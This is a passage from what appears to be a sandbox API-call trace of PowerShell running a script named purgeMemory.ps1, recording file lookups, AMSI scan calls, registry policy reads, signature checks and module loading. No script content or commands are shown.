[7]=0x1))) returned 0x0 [0117.416] EtwEventActivityIdControl (in: ControlCode=0x2, ActivityId=0x893f2a8*(Data1=0xd5d0776a, Data2=0x3331, Data3=0x0, Data4=([0]=0x34, [1]=0x92, [2]=0xd0, [3]=0xd5, [4]=0x31, [5]=0x33, [6]=0xd6, [7]=0x1)) | out: ActivityId=0x893f2a8*(Data1=0xd5d0776a, Data2=0x3331, Data3=0x0, Data4=([0]=0x34, [1]=0x92, [2]=0xd0, [3]=0xd5, [4]=0x31, [5]=0x33, [6]=0xd6, [7]=0x1))) returned 0x0 [0117.436] CoCreateGuid (in: pguid=0x893efe8 | out: pguid=0x893efe8*(Data1=0xc65f315f, Data2=0x32f9, Data3=0x475d, Data4=([0]=0x8f, [1]=0x1e, [2]=0xb4, [3]=0xc1, [4]=0x91, [5]=0x50, [6]=0x55, [7]=0xea))) returned 0x0 [0117.522] GetEnvironmentVariableW (in: lpName="PSModuleAutoLoadingPreference", lpBuffer=0x893ec68, nSize=0x80 | out: lpBuffer="") returned 0x0 [0117.525] CreateEventW (lpEventAttributes=0x0, bManualReset=1, bInitialState=1, lpName=0x0) returned 0x880 [0117.525] CoCreateGuid (in: pguid=0x893ed88 | out: pguid=0x893ed88*(Data1=0x10c367af, Data2=0xd987, Data3=0x4b69, Data4=([0]=0xb9, [1]=0xb8, [2]=0xe2, [3]=0x60, [4]=0xfc, [5]=0x47, [6]=0x56, [7]=0x94))) returned 0x0 [0117.625] QueryPerformanceCounter (in: lpPerformanceCount=0x893ebbc | out: lpPerformanceCount=0x893ebbc*=20975694703) returned 1 [0117.625] GetFullPathNameW (in: lpFileName="C:\\Users\\FD1HVy\\Desktop\\purgeMemory.ps1", nBufferLength=0x0, lpBuffer=0x0, lpFilePart=0x0 | out: lpBuffer=0x0, lpFilePart=0x0) returned 0x28 [0117.625] GetFullPathNameW (in: lpFileName="C:\\Users\\FD1HVy\\Desktop\\purgeMemory.ps1", nBufferLength=0x28, lpBuffer=0x315e1c0, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\FD1HVy\\Desktop\\purgeMemory.ps1", lpFilePart=0x0) returned 0x27 [0117.625] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x893eaf0) returned 1 [0117.625] GetFileAttributesExW (in: lpFileName="C:\\Users\\FD1HVy\\Desktop\\purgeMemory.ps1" (normalized: "c:\\users\\fd1hvy\\desktop\\purgememory.ps1"), fInfoLevelId=0x0, lpFileInformation=0x893eb6c | out: lpFileInformation=0x893eb6c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x6d963c24, ftCreationTime.dwHighDateTime=0x1d64098, ftLastAccessTime.dwLowDateTime=0x6d963c24, ftLastAccessTime.dwHighDateTime=0x1d64098, ftLastWriteTime.dwLowDateTime=0x8d43954e, ftLastWriteTime.dwHighDateTime=0x1d55e57, nFileSizeHigh=0x0, nFileSizeLow=0x204a)) returned 1 [0117.626] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x893eaec) returned 1 [0117.626] GetFullPathNameW (in: lpFileName="C:\\Users\\FD1HVy\\Desktop\\purgeMemory.ps1", nBufferLength=0x0, lpBuffer=0x0, lpFilePart=0x0 | out: lpBuffer=0x0, lpFilePart=0x0) returned 0x28 [0117.626] GetFullPathNameW (in: lpFileName="C:\\Users\\FD1HVy\\Desktop\\purgeMemory.ps1", nBufferLength=0x28, lpBuffer=0x315e1c0, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\FD1HVy\\Desktop\\purgeMemory.ps1", lpFilePart=0x0) returned 0x27 [0117.627] AmsiScanString () returned 0x80070015 [0117.760] QueryPerformanceCounter (in: lpPerformanceCount=0x893eb84 | out: lpPerformanceCount=0x893eb84*=20989141480) returned 1 [0117.882] SetConsoleTextAttribute (hConsoleOutput=0x714, wAttributes=0x58) returned 1 [0118.103] AmsiScanString () returned 0x80070015 [0118.212] SetConsoleCursorPosition (hConsoleOutput=0x714, dwCursorPosition=0x0) returned 1 [0118.349] FillConsoleOutputCharacterW (in: hConsoleOutput=0x714, cCharacter=0x20, nLength=0x57e40, dwWriteCoord=0x0, lpNumberOfCharsWritten=0x893e5fc | out: lpNumberOfCharsWritten=0x893e5fc) returned 1 [0118.407] FillConsoleOutputAttribute (in: hConsoleOutput=0x714, wAttribute=0xb8, nLength=0x57e40, dwWriteCoord=0x0, lpNumberOfAttrsWritten=0x893e5fc | out: lpNumberOfAttrsWritten=0x893e5fc) returned 1 [0118.485] SHGetFolderPathW (in: hwnd=0x0, csidl=28, hToken=0x0, dwFlags=0x0, pszPath=0x77ddad0 | out: pszPath="C:\\Users\\FD1HVy\\AppData\\Local") returned 0x0 [0118.485] CoTaskMemFree (pv=0x77ddad0) [0118.485] GetFullPathNameW (in: lpFileName="C:\\Users\\FD1HVy\\AppData\\Local", nBufferLength=0x0, lpBuffer=0x0, lpFilePart=0x0 | out: lpBuffer=0x0, lpFilePart=0x0) returned 0x1e [0118.485] GetFullPathNameW (in: lpFileName="C:\\Users\\FD1HVy\\AppData\\Local", nBufferLength=0x1e, lpBuffer=0x315e1c0, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\FD1HVy\\AppData\\Local", lpFilePart=0x0) returned 0x1d [0118.708] AmsiCloseSession () returned 0x34a2c40 [0118.959] GetFullPathNameW (in: lpFileName="C:\\WINDOWS\\system32\\WindowsPowerShell\\v1.0\\Modules\\Microsoft.PowerShell.Utility\\Microsoft.PowerShell.Utility.psd1", nBufferLength=0x0, lpBuffer=0x0, lpFilePart=0x0 | out: lpBuffer=0x0, lpFilePart=0x0) returned 0x72 [0118.959] GetFullPathNameW (in: lpFileName="C:\\WINDOWS\\system32\\WindowsPowerShell\\v1.0\\Modules\\Microsoft.PowerShell.Utility\\Microsoft.PowerShell.Utility.psd1", nBufferLength=0x72, lpBuffer=0x315e1c0, lpFilePart=0x0 | out: lpBuffer="C:\\WINDOWS\\system32\\WindowsPowerShell\\v1.0\\Modules\\Microsoft.PowerShell.Utility\\Microsoft.PowerShell.Utility.psd1", lpFilePart=0x0) returned 0x71 [0118.959] CoTaskMemAlloc (cb=0x20c) returned 0x77ddad0 [0118.959] GetSystemDirectoryW (in: lpBuffer=0x77ddad0, uSize=0x104 | out: lpBuffer="C:\\WINDOWS\\system32") returned 0x13 [0118.959] CoTaskMemFree (pv=0x77ddad0) [0118.959] GetFullPathNameW (in: lpFileName="C:\\WINDOWS\\system32\\wldp.dll", nBufferLength=0x0, lpBuffer=0x0, lpFilePart=0x0 | out: lpBuffer=0x0, lpFilePart=0x0) returned 0x1d [0118.959] GetFullPathNameW (in: lpFileName="C:\\WINDOWS\\system32\\wldp.dll", nBufferLength=0x1d, lpBuffer=0x315e1c0, lpFilePart=0x0 | out: lpBuffer="C:\\WINDOWS\\system32\\wldp.dll", lpFilePart=0x0) returned 0x1c [0118.959] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x893db78) returned 1 [0118.959] GetFileAttributesExW (in: lpFileName="C:\\WINDOWS\\system32\\wldp.dll" (normalized: "c:\\windows\\system32\\wldp.dll"), fInfoLevelId=0x0, lpFileInformation=0x893dbf4 | out: lpFileInformation=0x893dbf4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x6fa1c22f, ftCreationTime.dwHighDateTime=0x1d2a02a, ftLastAccessTime.dwLowDateTime=0x6fa1c22f, ftLastAccessTime.dwHighDateTime=0x1d2a02a, ftLastWriteTime.dwLowDateTime=0x6fa1c22f, ftLastWriteTime.dwHighDateTime=0x1d2a02a, nFileSizeHigh=0x0, nFileSizeLow=0xe840)) returned 1 [0118.959] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x893db74) returned 1 [0118.959] GetSystemInfo (in: lpSystemInfo=0x893dc28 | out: lpSystemInfo=0x893dc28*(dwOemId=0x0, wProcessorArchitecture=0x0, wReserved=0x0, dwPageSize=0x1000, lpMinimumApplicationAddress=0x10000, lpMaximumApplicationAddress=0x7ffeffff, dwActiveProcessorMask=0xf, dwNumberOfProcessors=0x4, dwProcessorType=0x24a, dwAllocationGranularity=0x10000, wProcessorLevel=0x6, wProcessorRevision=0x4501)) [0118.959] RegOpenKeyExW (in: hKey=0x80000002, lpSubKey="System\\CurrentControlSet\\Control\\Session Manager\\Environment", ulOptions=0x0, samDesired=0x20019, phkResult=0x893dbb8 | out: phkResult=0x893dbb8*=0x8b4) returned 0x0 [0118.960] RegQueryValueExW (in: hKey=0x8b4, lpValueName="__PSLockdownPolicy", lpReserved=0x0, lpType=0x893dbd4, lpData=0x0, lpcbData=0x893dbd0*=0x0 | out: lpType=0x893dbd4*=0x0, lpData=0x0, lpcbData=0x893dbd0*=0x0) returned 0x2 [0118.960] RegCloseKey (hKey=0x8b4) returned 0x0 [0118.965] GetFullPathNameW (in: lpFileName="C:\\WINDOWS\\system32\\WindowsPowerShell\\v1.0\\Modules\\Microsoft.PowerShell.Utility\\Microsoft.PowerShell.Utility.psd1", nBufferLength=0x0, lpBuffer=0x0, lpFilePart=0x0 | out: lpBuffer=0x0, lpFilePart=0x0) returned 0x72 [0118.965] GetFullPathNameW (in: lpFileName="C:\\WINDOWS\\system32\\WindowsPowerShell\\v1.0\\Modules\\Microsoft.PowerShell.Utility\\Microsoft.PowerShell.Utility.psd1", nBufferLength=0x72, lpBuffer=0x315e1c0, lpFilePart=0x0 | out: lpBuffer="C:\\WINDOWS\\system32\\WindowsPowerShell\\v1.0\\Modules\\Microsoft.PowerShell.Utility\\Microsoft.PowerShell.Utility.psd1", lpFilePart=0x0) returned 0x71 [0118.965] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x893db30) returned 1 [0118.965] CreateFileW (lpFileName="C:\\WINDOWS\\system32\\WindowsPowerShell\\v1.0\\Modules\\Microsoft.PowerShell.Utility\\Microsoft.PowerShell.Utility.psd1" (normalized: "c:\\windows\\system32\\windowspowershell\\v1.0\\modules\\microsoft.powershell.utility\\microsoft.powershell.utility.psd1"), dwDesiredAccess=0x80000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x8b4 [0118.965] GetFileType (hFile=0x8b4) returned 0x1 [0118.965] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x893db2c) returned 1 [0118.965] GetFileType (hFile=0x8b4) returned 0x1 [0118.965] SetFilePointer (in: hFile=0x8b4, lDistanceToMove=0, lpDistanceToMoveHigh=0x893db6c*=0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x893db6c*=0) returned 0x0 [0118.965] ReadFile (in: hFile=0x8b4, lpBuffer=0x565822c, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x893db98, lpOverlapped=0x0 | out: lpBuffer=0x565822c*, lpNumberOfBytesRead=0x893db98*=0x983, lpOverlapped=0x0) returned 1 [0118.966] SetFilePointer (in: hFile=0x8b4, lDistanceToMove=0, lpDistanceToMoveHigh=0x893db6c*=0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x893db6c*=0) returned 0x983 [0118.966] ReadFile (in: hFile=0x8b4, lpBuffer=0x565774f, nNumberOfBytesToRead=0x27d, lpNumberOfBytesRead=0x893db98, lpOverlapped=0x0 | out: lpBuffer=0x565774f*, lpNumberOfBytesRead=0x893db98*=0x0, lpOverlapped=0x0) returned 1 [0118.966] SetFilePointer (in: hFile=0x8b4, lDistanceToMove=0, lpDistanceToMoveHigh=0x893db6c*=0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x893db6c*=0) returned 0x983 [0118.966] ReadFile (in: hFile=0x8b4, lpBuffer=0x565822c, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x893db98, lpOverlapped=0x0 | out: lpBuffer=0x565822c*, lpNumberOfBytesRead=0x893db98*=0x0, lpOverlapped=0x0) returned 1 [0118.966] CoTaskMemAlloc (cb=0x20c) returned 0x77ddad0 [0118.966] GetSystemDirectoryW (in: lpBuffer=0x77ddad0, uSize=0x104 | out: lpBuffer="C:\\WINDOWS\\system32") returned 0x13 [0118.966] CoTaskMemFree (pv=0x77ddad0) [0118.967] GetFullPathNameW (in: lpFileName="C:\\WINDOWS\\system32\\wldp.dll", nBufferLength=0x0, lpBuffer=0x0, lpFilePart=0x0 | out: lpBuffer=0x0, lpFilePart=0x0) returned 0x1d [0118.967] GetFullPathNameW (in: lpFileName="C:\\WINDOWS\\system32\\wldp.dll", nBufferLength=0x1d, lpBuffer=0x315e1c0, lpFilePart=0x0 | out: lpBuffer="C:\\WINDOWS\\system32\\wldp.dll", lpFilePart=0x0) returned 0x1c [0118.967] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x893dacc) returned 1 [0118.967] GetFileAttributesExW (in: lpFileName="C:\\WINDOWS\\system32\\wldp.dll" (normalized: "c:\\windows\\system32\\wldp.dll"), fInfoLevelId=0x0, lpFileInformation=0x893db48 | out: lpFileInformation=0x893db48*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x6fa1c22f, ftCreationTime.dwHighDateTime=0x1d2a02a, ftLastAccessTime.dwLowDateTime=0x6fa1c22f, ftLastAccessTime.dwHighDateTime=0x1d2a02a, ftLastWriteTime.dwLowDateTime=0x6fa1c22f, ftLastWriteTime.dwHighDateTime=0x1d2a02a, nFileSizeHigh=0x0, nFileSizeLow=0xe840)) returned 1 [0118.967] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x893dac8) returned 1 [0118.967] GetSystemInfo (in: lpSystemInfo=0x893db7c | out: lpSystemInfo=0x893db7c*(dwOemId=0x0, wProcessorArchitecture=0x0, wReserved=0x0, dwPageSize=0x1000, lpMinimumApplicationAddress=0x10000, lpMaximumApplicationAddress=0x7ffeffff, dwActiveProcessorMask=0xf, dwNumberOfProcessors=0x4, dwProcessorType=0x24a, dwAllocationGranularity=0x10000, wProcessorLevel=0x6, wProcessorRevision=0x4501)) [0118.967] RegOpenKeyExW (in: hKey=0x80000002, lpSubKey="System\\CurrentControlSet\\Control\\Session Manager\\Environment", ulOptions=0x0, samDesired=0x20019, phkResult=0x893db0c | out: phkResult=0x893db0c*=0x8b8) returned 0x0 [0118.968] RegQueryValueExW (in: hKey=0x8b8, lpValueName="__PSLockdownPolicy", lpReserved=0x0, lpType=0x893db28, lpData=0x0, lpcbData=0x893db24*=0x0 | out: lpType=0x893db28*=0x0, lpData=0x0, lpcbData=0x893db24*=0x0) returned 0x2 [0118.968] RegCloseKey (hKey=0x8b8) returned 0x0 [0118.968] CloseHandle (hObject=0x8b4) returned 1 [0118.970] CoCreateGuid (in: pguid=0x893dbfc | out: pguid=0x893dbfc*(Data1=0x25699879, Data2=0x1264, Data3=0x4f64, Data4=([0]=0x95, [1]=0xce, [2]=0xa, [3]=0x56, [4]=0xbc, [5]=0x37, [6]=0xfb, [7]=0x19))) returned 0x0 [0118.982] QueryPerformanceCounter (in: lpPerformanceCount=0x893d95c | out: lpPerformanceCount=0x893d95c*=21111399911) returned 1 [0118.982] GetFullPathNameW (in: lpFileName="C:\\WINDOWS\\system32\\WindowsPowerShell\\v1.0\\Modules\\Microsoft.PowerShell.Utility\\Microsoft.PowerShell.Utility.psd1", nBufferLength=0x0, lpBuffer=0x0, lpFilePart=0x0 | out: lpBuffer=0x0, lpFilePart=0x0) returned 0x72 [0118.990] GetFullPathNameW (in: lpFileName="C:\\WINDOWS\\system32\\WindowsPowerShell\\v1.0\\Modules\\Microsoft.PowerShell.Utility\\Microsoft.PowerShell.Utility.psd1", nBufferLength=0x72, lpBuffer=0x315e1c0, lpFilePart=0x0 | out: lpBuffer="C:\\WINDOWS\\system32\\WindowsPowerShell\\v1.0\\Modules\\Microsoft.PowerShell.Utility\\Microsoft.PowerShell.Utility.psd1", lpFilePart=0x0) returned 0x71 [0118.990] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x893d890) returned 1 [0118.990] GetFileAttributesExW (in: lpFileName="C:\\WINDOWS\\system32\\WindowsPowerShell\\v1.0\\Modules\\Microsoft.PowerShell.Utility\\Microsoft.PowerShell.Utility.psd1" (normalized: "c:\\windows\\system32\\windowspowershell\\v1.0\\modules\\microsoft.powershell.utility\\microsoft.powershell.utility.psd1"), fInfoLevelId=0x0, lpFileInformation=0x893d90c | out: lpFileInformation=0x893d90c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x9fe5a6a2, ftCreationTime.dwHighDateTime=0x1d2a02a, ftLastAccessTime.dwLowDateTime=0x9fe5a6a2, ftLastAccessTime.dwHighDateTime=0x1d2a02a, ftLastWriteTime.dwLowDateTime=0x9fe5a6a2, ftLastWriteTime.dwHighDateTime=0x1d2a02a, nFileSizeHigh=0x0, nFileSizeLow=0x983)) returned 1 [0118.990] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x893d88c) returned 1 [0118.990] GetFullPathNameW (in: lpFileName="C:\\WINDOWS\\system32\\WindowsPowerShell\\v1.0\\Modules\\Microsoft.PowerShell.Utility\\Microsoft.PowerShell.Utility.psd1", nBufferLength=0x0, lpBuffer=0x0, lpFilePart=0x0 | out: lpBuffer=0x0, lpFilePart=0x0) returned 0x72 [0118.990] GetFullPathNameW (in: lpFileName="C:\\WINDOWS\\system32\\WindowsPowerShell\\v1.0\\Modules\\Microsoft.PowerShell.Utility\\Microsoft.PowerShell.Utility.psd1", nBufferLength=0x72, lpBuffer=0x315e1c0, lpFilePart=0x0 | out: lpBuffer="C:\\WINDOWS\\system32\\WindowsPowerShell\\v1.0\\Modules\\Microsoft.PowerShell.Utility\\Microsoft.PowerShell.Utility.psd1", lpFilePart=0x0) returned 0x71 [0118.990] GetFullPathNameW (in: lpFileName="C:\\WINDOWS\\system32\\WindowsPowerShell\\v1.0\\Modules\\Microsoft.PowerShell.Utility\\Microsoft.PowerShell.Utility.psd1", nBufferLength=0x0, lpBuffer=0x0, lpFilePart=0x0 | out: lpBuffer=0x0, lpFilePart=0x0) returned 0x72 [0118.990] GetFullPathNameW (in: lpFileName="C:\\WINDOWS\\system32\\WindowsPowerShell\\v1.0\\Modules\\Microsoft.PowerShell.Utility\\Microsoft.PowerShell.Utility.psd1", nBufferLength=0x72, lpBuffer=0x315e1c0, lpFilePart=0x0 | out: lpBuffer="C:\\WINDOWS\\system32\\WindowsPowerShell\\v1.0\\Modules\\Microsoft.PowerShell.Utility\\Microsoft.PowerShell.Utility.psd1", lpFilePart=0x0) returned 0x71 [0118.990] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x893d804) returned 1 [0118.991] GetFileAttributesExW (in: lpFileName="C:\\WINDOWS\\system32\\WindowsPowerShell\\v1.0\\Modules\\Microsoft.PowerShell.Utility\\Microsoft.PowerShell.Utility.psd1" (normalized: "c:\\windows\\system32\\windowspowershell\\v1.0\\modules\\microsoft.powershell.utility\\microsoft.powershell.utility.psd1"), fInfoLevelId=0x0, lpFileInformation=0x893d880 | out: lpFileInformation=0x893d880*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x9fe5a6a2, ftCreationTime.dwHighDateTime=0x1d2a02a, ftLastAccessTime.dwLowDateTime=0x9fe5a6a2, ftLastAccessTime.dwHighDateTime=0x1d2a02a, ftLastWriteTime.dwLowDateTime=0x9fe5a6a2, ftLastWriteTime.dwHighDateTime=0x1d2a02a, nFileSizeHigh=0x0, nFileSizeLow=0x983)) returned 1 [0118.991] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x893d800) returned 1 [0118.991] GetFullPathNameW (in: lpFileName="C:\\WINDOWS\\system32\\WindowsPowerShell\\v1.0\\Modules\\Microsoft.PowerShell.Utility\\Microsoft.PowerShell.Utility.psd1", nBufferLength=0x0, lpBuffer=0x0, lpFilePart=0x0 | out: lpBuffer=0x0, lpFilePart=0x0) returned 0x72 [0118.991] GetFullPathNameW (in: lpFileName="C:\\WINDOWS\\system32\\WindowsPowerShell\\v1.0\\Modules\\Microsoft.PowerShell.Utility\\Microsoft.PowerShell.Utility.psd1", nBufferLength=0x72, lpBuffer=0x315e1c0, lpFilePart=0x0 | out: lpBuffer="C:\\WINDOWS\\system32\\WindowsPowerShell\\v1.0\\Modules\\Microsoft.PowerShell.Utility\\Microsoft.PowerShell.Utility.psd1", lpFilePart=0x0) returned 0x71 [0118.991] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x893d7d8) returned 1 [0118.991] CreateFileW (lpFileName="C:\\WINDOWS\\system32\\WindowsPowerShell\\v1.0\\Modules\\Microsoft.PowerShell.Utility\\Microsoft.PowerShell.Utility.psd1" (normalized: "c:\\windows\\system32\\windowspowershell\\v1.0\\modules\\microsoft.powershell.utility\\microsoft.powershell.utility.psd1"), dwDesiredAccess=0x80000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x8b4 [0118.991] GetFileType (hFile=0x8b4) returned 0x1 [0118.991] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x893d7d4) returned 1 [0118.991] GetFileType (hFile=0x8b4) returned 0x1 [0118.991] WTGetSignatureInfo () returned 0x0 [0119.129] CertDuplicateCertificateContext (pCertContext=0x77460c0) returned 0x77460c0 [0119.129] RegOpenKeyExW (in: hKey=0x80000002, lpSubKey="Software\\Microsoft\\PowerShell\\3\\PowerShellEngine", ulOptions=0x0, samDesired=0x20019, phkResult=0x893d83c | out: phkResult=0x893d83c*=0x88c) returned 0x0 [0119.130] RegQueryValueExW (in: hKey=0x88c, lpValueName="ApplicationBase", lpReserved=0x0, lpType=0x893d85c, lpData=0x0, lpcbData=0x893d858*=0x0 | out: lpType=0x893d85c*=0x1, lpData=0x0, lpcbData=0x893d858*=0x56) returned 0x0 [0119.130] RegQueryValueExW (in: hKey=0x88c, lpValueName="ApplicationBase", lpReserved=0x0, lpType=0x893d85c, lpData=0x56670bc, lpcbData=0x893d858*=0x56 | out: lpType=0x893d85c*=0x1, lpData="C:\\Windows\\SysWOW64\\WindowsPowerShell\\v1.0", lpcbData=0x893d858*=0x56) returned 0x0 [0119.130] RegCloseKey (hKey=0x88c) returned 0x0 [0119.130] CoTaskMemAlloc (cb=0x10) returned 0x7797d20 [0119.130] CoTaskMemAlloc (cb=0x30) returned 0x7979df8 [0119.130] WinVerifyTrust () returned 0x0 [0119.131] CoTaskMemFree (pv=0x7979df8) [0119.131] CoTaskMemFree (pv=0x7797d20) [0119.131] CertFreeCertificateContext (pCertContext=0x77460c0) returned 1 [0119.131] CloseHandle (hObject=0x8b4) returned 1 [0119.131] AmsiOpenSession () returned 0x0 [0119.131] AmsiScanString () returned 0x80070015 [0119.204] GetFileAttributesW (lpFileName="C:\\Program Files (x86)\\WindowsPowerShell\\Modules" (normalized: "c:\\program files (x86)\\windowspowershell\\modules")) returned 0x10 [0119.204] GetFullPathNameW (in: lpFileName="C:\\Program Files (x86)\\WindowsPowerShell\\Modules\\Microsoft.PowerShell.Commands.Utility", nBufferLength=0x0, lpBuffer=0x0, lpFilePart=0x0 | out: lpBuffer=0x0, lpFilePart=0x0) returned 0x57 [0119.204] GetFullPathNameW (in: lpFileName="C:\\Program Files (x86)\\WindowsPowerShell\\Modules\\Microsoft.PowerShell.Commands.Utility", nBufferLength=0x57, lpBuffer=0x315e1c0, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files (x86)\\WindowsPowerShell\\Modules\\Microsoft.PowerShell.Commands.Utility", lpFilePart=0x0) returned 0x56 [0119.204] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x893d098) returned 1 [0119.204] GetFileAttributesExW (in: lpFileName="C:\\Program Files (x86)\\WindowsPowerShell\\Modules\\Microsoft.PowerShell.Commands.Utility" (normalized: "c:\\program files (x86)\\windowspowershell\\modules\\microsoft.powershell.commands.utility"), fInfoLevelId=0x0, lpFileInformation=0x893d114 | out: lpFileInformation=0x893d114*(dwFileAttributes=0x0, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x0, ftLastAccessTime.dwLowDateTime=0x0, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x0, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x0, nFileSizeLow=0x0)) returned 0 [0119.204] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x893d094) returned 1 [0119.205] GetFileAttributesW (lpFileName="C:\\Program Files (x86)\\WindowsPowerShell\\Modules\\Microsoft.PowerShell.Commands.Utility\\Microsoft.PowerShell.Commands.Utility.dll" (normalized: "c:\\program files (x86)\\windowspowershell\\modules\\microsoft.powershell.commands.utility\\microsoft.powershell.commands.utility.dll")) returned 0xffffffff [0119.207] GetFileAttributesW (lpFileName="C:\\WINDOWS\\system32\\WindowsPowerShell\\v1.0\\Modules" (normalized: "c:\\windows\\system32\\windowspowershell\\v1.0\\modules")) returned 0x10 [0119.207] GetFullPathNameW (in: lpFileName="C:\\WINDOWS\\system32\\WindowsPowerShell\\v1.0\\Modules\\Microsoft.PowerShell.Commands.Utility", nBufferLength=0x0, lpBuffer=0x0, lpFilePart=0x0 | out: lpBuffer=0x0, lpFilePart=0x0) returned 0x59 [0119.207] GetFullPathNameW (in: lpFileName="C:\\WINDOWS\\system32\\WindowsPowerShell\\v1.0\\Modules\\Microsoft.PowerShell.Commands.Utility", nBufferLength=0x59, lpBuffer=0x315e1c0, lpFilePart=0x0 | out: lpBuffer="C:\\WINDOWS\\system32\\WindowsPowerShell\\v1.0\\Modules\\Microsoft.PowerShell.Commands.Utility", lpFilePart=0x0) returned 0x58 [0119.207] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x893d098) returned 1 [0119.207] GetFileAttributesExW (in: lpFileName="C:\\WINDOWS\\system32\\WindowsPowerShell\\v1.0\\Modules\\Microsoft.PowerShell.Commands.Utility" (normalized: "c:\\windows\\system32\\windowspowershell\\v1.0\\modules\\microsoft.powershell.commands.utility"), fInfoLevelId=0x0, lpFileInformation=0x893d114 | out: lpFileInformation=0x893d114*(dwFileAttributes=0x0, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x0, ftLastAccessTime.dwLowDateTime=0x0, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x0, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x0, nFileSizeLow=0x0)) returned 0 [0119.207] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x893d094) returned 1 [0119.209] GetFileAttributesW (lpFileName="C:\\WINDOWS\\system32\\WindowsPowerShell\\v1.0\\Modules\\Microsoft.PowerShell.Commands.Utility\\Microsoft.PowerShell.Commands.Utility.dll" (normalized: "c:\\windows\\system32\\windowspowershell\\v1.0\\modules\\microsoft.powershell.commands.utility\\microsoft.powershell.commands.utility.dll")) returned 0xffffffff [0119.492] WTGetSignatureInfo () returned 0x0 [0119.645] CertDuplicateCertificateContext (pCertContext=0x7745f30) returned 0x7745f30 [0119.645] RegOpenKeyExW (in: hKey=0x80000002, lpSubKey="Software\\Microsoft\\PowerShell\\3\\PowerShellEngine", ulOptions=0x0, samDesired=0x20019, phkResult=0x893cdb0 | out: phkResult=0x893cdb0*=0x8d4) returned 0x0 [0119.646] RegQueryValueExW (in: hKey=0x8d4, lpValueName="ApplicationBase", lpReserved=0x0, lpType=0x893cdd0, lpData=0x0, lpcbData=0x893cdcc*=0x0 | out: lpType=0x893cdd0*=0x1, lpData=0x0, lpcbData=0x893cdcc*=0x56) returned 0x0 [0119.646] RegQueryValueExW (in: hKey=0x8d4, lpValueName="ApplicationBase", lpReserved=0x0, lpType=0x893cdd0, lpData=0x56ff8e0, lpcbData=0x893cdcc*=0x56 | out: lpType=0x893cdd0*=0x1, lpData="C:\\Windows\\SysWOW64\\WindowsPowerShell\\v1.0", lpcbData=0x893cdcc*=0x56) returned 0x0 [0119.646] RegCloseKey (hKey=0x8d4) returned 0x0 [0119.646] CoTaskMemAlloc (cb=0x10) returned 0x77d5e90 [0119.646] CoTaskMemAlloc (cb=0x30) returned 0x7978578 [0119.646] WinVerifyTrust () returned 0x0 [0119.648] CoTaskMemFree (pv=0x7978578) [0119.648] CoTaskMemFree (pv=0x77d5e90) [0119.648] CertFreeCertificateContext (pCertContext=0x7745f30) returned 1 [0119.648] CloseHandle (hObject=0x8b8) returned 1 [0119.648] GetFullPathNameW (in: lpFileName="C:\\WINDOWS\\system32\\WindowsPowerShell\\v1.0\\Modules\\Microsoft.PowerShell.Utility\\Microsoft.PowerShell.Utility.psm1", nBufferLength=0x0, lpBuffer=0x0, lpFilePart=0x0 | out: lpBuffer=0x0, lpFilePart=0x0) returned 0x72 [0119.648] GetFullPathNameW (in: lpFileName="C:\\WINDOWS\\system32\\WindowsPowerShell\\v1.0\\Modules\\Microsoft.PowerShell.Utility\\Microsoft.PowerShell.Utility.psm1", nBufferLength=0x72, lpBuffer=0x315e1c0, lpFilePart=0x0 | out: lpBuffer="C:\\WINDOWS\\system32\\WindowsPowerShell\\v1.0\\Modules\\Microsoft.PowerShell.Utility\\Microsoft.PowerShell.Utility.psm1", lpFilePart=0x0) returned 0x71 [0119.648] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x893ce08) returned 1 [0119.648] CreateFileW (lpFileName="C:\\WINDOWS\\system32\\WindowsPowerShell\\v1.0\\Modules\\Microsoft.PowerShell.Utility\\Microsoft.PowerShell.Utility.psm1" (normalized: "c:\\windows\\system32\\windowspowershell\\v1.0\\modules\\microsoft.powershell.utility\\microsoft.powershell.utility.psm1"), dwDesiredAccess=0x80000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x8b8 